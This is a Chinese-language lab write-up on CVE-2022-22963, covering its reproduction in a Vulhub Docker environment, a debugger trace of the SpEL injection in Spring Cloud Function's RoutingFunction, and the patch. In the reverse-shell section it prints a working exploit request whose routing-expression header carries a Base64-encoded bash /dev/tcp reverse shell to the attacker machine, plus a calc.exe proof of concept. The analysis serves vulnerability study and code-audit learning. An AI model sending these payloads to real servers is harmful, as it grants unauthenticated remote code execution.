文章目录
- 前言
- CVE-2022-22963
- 漏洞简述
- 环境搭建
- 反弹shell
- CVE漏洞调试分析
- 本地搭建
- 调试分析
- 补丁分析
- 总结
前言
表达式注入是 Java 安全中一类常见的能够注入命令并形成 RCE 的漏洞,而常见的表达式注入方式有 EL 表达式注入、SpEL 表达式注入和 OGNL 表达式注入等。本文将通过调试分析 CVE-2022-22963 漏洞来入门学习 SpEL 表达式注入漏洞的原理。
CVE-2022-22963
如 Vulhub官方文档所述:Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。
漏洞简述
2022年3月,Spring Cloud 官方修复了一个 Spring Cloud Function 中的 SPEL 表达式注入漏洞,由于 Spring Cloud Function中 RoutingFunction 类的 apply 方法将请求头中的 “spring.cloud.function.routing-expression
” 参数作为 SpEL 表达式进行处理,造成了 SpEL 表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。
【受影响版本】3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
参考链接:
- CVE-2022-22963 漏洞描述;
- CVE-2022-22963 官方漏洞修复方案;
- Spring Cloud Function SPEL表达式注入漏洞分析;
环境搭建
本文使用 Ubuntu 官方虚拟机 + Vulhub CVE 漏洞靶场环境 复现该漏洞。以前的漏洞复现文章已经写过 Vulhub 靶场的使用步骤:渗透测试-Openssl心脏出血漏洞复现。
整体复述一下,Ubuntu 上安装 Docker 环境和搭建 Vulhub 靶场的步骤:
1、安装docker:
apt-get install -y docker.io
2、安装docker-compose:
pip install docker-compose
3、启动docker后台服务:
sudo service docker start
4、将当前用户加入docker组
sudo usermod -aG docker $USER
5、配置 docker 加速器(提高容器下载速度):
https://blog.csdn.net/feiying0canglang/article/details/126491715
6、下载vulhub漏洞目录:
git clone https://github.com/vulhub/vulhub.git
7、进入想要复现的漏洞对应文件夹:
cd ~/vulhub/struts2/s2-048/(示例路径)
8、以root身份执行以下命令开始运行漏洞容器:
docker-compose up -d
回顾 Docker 用法请参考历史博文:渗透测试-Docker容器。
【推荐】提高 Docker 镜像下载速度请参考:Docker–提高下载速度的方法。
此处顺便再简单总结下 Docker 常用命令:
目的 | 命令 |
---|---|
在Docker公用仓库搜索镜像 | docker search bwapp(容器镜像名) |
从Docker公用仓库拉取镜像 | docker pull raesene/bwapp(远程镜像路径) |
返回本地Docker容器镜像信息 | docker images |
将镜像运行为一个真正在运行的容器 | docker run -d -p 8080:80 本地容器镜像名 |
查看正在运行的容器 | docker ps |
查看所有容器(无论是否正在运行) | docker ps -a |
查看指定容器的详细信息 | docker inspect 容器名或id |
进入容器的shell交互模式 | docker exec -i -t 容器id bash |
停止正在运行的容器 | docker stop 容器id |
重启本地已停止运行的容器 | docker start 容器id |
强制删除本地容器 | docker rm -f 容器ID |
Ubuntu 虚拟机成功搭建环境如下:
物理机访问 Docker 服务(http://192.168.171.129:8080/
):
反弹shell
先说下这个漏洞产生的原因:如果在 /functionRouter
的 POST 请求头中添加一个 spring.cloud.function.routing-expression
参数,Spring Cloud Function 会直接将参数值带入 SpEL 中查询导致 SpEL 注入。
那我们直接在 POST 请求中发送反弹 Shell 的命令即可,此处使用同一局域网中的 Kali 虚拟机作为攻击机(192.168.171.128):
bash -i >& /dev/tcp/192.168.171.128/6666 0>&1
但是需要使用 reverse-shell 在线工具 将上述反弹 shell 的命令进行 Base64 编码(具体原因请参见:Java反弹shell小记):
直接发送报文:
POST /functionRouter HTTP/1.1
Host: 192.168.171.129:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}")
Connection: close
Content-Length: 6
test
【题外话】此处顺便补充一个小技巧,BurpSuite 如果显示字体模糊、分辨率不佳的情况下(比如此图,伤眼睛啊……),可以在桌面快捷方式右键选择“属性”,在兼容性中选择如下配置项后重启即可解决(效果可参见下文另外的 Burp 截图):
此时 Kali 攻击机可获得反弹的 Shell(其中 1832.168.171.129 正是 Ubuntu 靶机的局域网 IP):
至此,我们已成功复现该漏洞,通过 SpEL 注入实现了 RCE 远程命令执行。
最后,结束 Ubuntu 虚拟机靶场容器环境的运行:
CVE漏洞调试分析
简单的复现漏洞并不是目的,我们的目的是从历史 CVE 漏洞中分析根因,并尽可能能够实现在白盒代码审计实战中做到举一反三。
本地搭建
此处采用本地 IDEA 新建 Spring 项目的方式来搭建漏洞环境。
不想折腾的话可以直接在 Github 获取来源的漏洞环境项目:Spring-Cloud-Function-Spel。
1、由于我使用的是社区版的 IDEA(穷,用不起旗舰版),没有 Spring Initializer 功能,无法快捷创建 Spring Boot 项目,只能手动去 https://start.spring.io/ 把工程创建好之后下载下来:
2、下载完是个 demo.zip
压缩包工程文件,解压缩后使用 IDEA 社区版 正常 open project 即可,IDEA 会自动下载 pom.xml 配置的依赖包到本地 Maven 仓库:
修改 IDEA Maven 本地仓库和远程仓库配置的话,请参见:Intellij IDEA配置Maven(内置Maven和修改本地仓库地址和阿里云中央仓库)。
3、接着在 pom.xml 中引入 spring-boot-starter-web
、spring-cloud-function-web
(存在漏洞的 3.2.2 版本):
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-function-web</artifactId>
<version>3.2.2</version>
</dependency>
4、接着在 application.properties
配置文件中添加spring.cloud.function.definition=functionRouter
,并修改服务端口为 8081(默认为 8080):
5、然后即可到 main 函数启动 Spring 项目:
然而发现以下数据包并无法触发漏洞:
POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Connection: close
Content-Length: 4
test
6、最终发现需要修改 pom.xml 配置文件中如下组件版本信息,才能成功触发漏洞(坑啊……):
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
调试分析
需要在上述命令执行处下断点,看下程序执行流程。
SpringCloud Function 之所以能自动将函数建立 http 端点,是因为在包 mvc.FunctionController
中使用 /**
监听了 GET/POST 类型的所有端点:
故我们在org.springframework.cloud.function.web.mvc.FunctionController#post
方法上下断点进行跟踪,程序会获取 body 中的参数,并传入 processRequest 方法中:
1、接着 processRequest 函数将判断当前请求是否为 RoutingFunction,并将请求的内容和 Header 头编译成 Message 带入到 FunctionInvocationWrapper.apply
方法中:
2、跟进FunctionInvocationWrapper.apply
函数,随后又进入其中的 doApply 方法:
3、跟进 doApply 函数,会执行到如下 else 分支,进入 RoutingFunction 类的 apply 方法:
4、继续 step into 跟进 RoutingFunction 类的 apply 方法,发现将进入到org.springframework.cloud.function.context.config.RoutingFunction#route
方法中:
5、跟进 route 函数,发现随后进入的是 else if
分支,由于 exp 请求中的 http 头spring.cloud.function.routing-expression
不为空,则传入其值到functionFromExpression
方法:
6、step into 跟进 functionFromExpression 方法,发现其使用 SpelExpressionParser 解析了 SpEL 表达式,且调用了 expression.getValue
导致最终触发 SpEL 表达式注入:
而此处的 evalContext 又采取了默认的 StandardEvaluationContext
(在不指定 EvaluationContext
的情况下默认也采用的是StandardEvaluationContext
),而它包含了 SpEL 的所有功能,在允许用户控制输入的情况下 SpEL 表达式是可以操作类及其方法的,可以通过类类型表达式 T(Type) 或者直接 new 来调用任意对象的任意方法,成功造成任意命令执行。
跟踪到这已经完成整个 SpEL 表达式注入的触发流程了,后续就不用再跟下去了。至此可以发现,只要通过环境变量、配置文件或者参数等方式配置为 spring.cloud.function.definition=functionRouter
, 即可触发 SpEL 注入。
补丁分析
SpringCloud 官方已经修复了此问题,在 GitHub 上给出了修复 commit:
https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
和其他 SpEL 注入修复方式一样,修补代码核心是在 functionFromExpression 函数中,使用了安全的 SimpleEvaluationContext
替换不安全的 StandardEvaluationContext
:
上述代码增加判断带解析的 SpEL 表达式来源是否是 header,如果是 header 就使用属于 SimpleEvaluationContext
的 headerEvalContext
,不是 header 才会使用属于 StandardEvaluationContext
的 evalContext
。
总结
本文重点分析了 CVE-2022-22963,总结来说就是 Spring Cloud Function 相关版本提供的 spring.cloud.function.routing-expression
有解析Spel表达式的能力,而且使用的是默认的 StandardEvaluationContext
,导致存在 SpEL 表达式注入。恶意攻击者无需认证可通过构造特定的 HTTP 请求头注入 SpEL 表达式,最终执行任意命令,获取服务器权限。
本文参考文章:
- SPEL表达式注入-入门篇;
- Java代码审计之SpEL表达式注入;
- Spring Cloud Function Spel表达式注入;
- SpringCloud Function SpEL注入漏洞分析(CVE-2022-22963);